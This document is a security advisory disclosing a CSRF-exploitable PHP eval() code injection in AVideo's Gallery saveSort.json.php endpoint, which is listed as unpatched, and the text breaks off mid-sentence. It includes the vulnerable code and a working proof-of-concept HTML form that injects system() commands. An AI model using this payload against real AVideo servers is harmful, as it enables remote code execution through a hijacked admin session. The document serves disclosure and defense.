GitHub Security Advisory: GHSA-xggw-g9pm-9qhh
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin

Details:
## Summary

The Gallery plugin's `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST['sections']` array values directly into PHP's `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo's explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.

## Details

**Vulnerable code** — `plugin/Gallery/view/saveSort.json.php:20-25`:

```php
if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    foreach ($_REQUEST['sections'] as $key => $value) {
        $obj->sectionsSaved[] = array($key=>$value);
        eval("\$object->{$value}Order = \$key;");
    }
    $obj->error = !$gallery->setDataObject($object);
}
```

The `$value` variable from `$_REQUEST['sections']` is interpolated directly into the string passed to `eval()` with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like `'Shorts'`, `'Trending'`, etc. from jQuery UI sortable, but the server enforces no such constraint.

**CSRF enablement** — `objects/include_config.php:134-137`:

```php
if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}
```

The session cookie is explicitly set to `SameSite=None`, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in `objects/functionsPHP.php:330-333` where additional cookies are set with `SameSite=None; Secure`.

**No CSRF protection** — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no `X-Requested-With` header check. There is no global CSRF middleware in AVideo's bootstrap chain.

**Exploit chain:**
1. Attacker crafts a page with an auto-submitting form targeting `saveSort.json.php`
2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
3. The browser sends the cross-site POST request **with the admin's session cookie** attached (due to `SameSite=None`)
4. `User::isAdmin()` passes because the admin's session is present
5. The injected PHP code in the `sections` array value is passed to `eval()` and executes

## PoC

**Step 1:** Host the following HTML on an attacker-controlled server:

```html
<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
  <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
```

The base64 decodes to `id;hostname`.

**Step 2:** Lure an authenticated AVideo admin to visit the page.

**Step 3:** The eval on line 24 executes:
```php
$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;
```

This br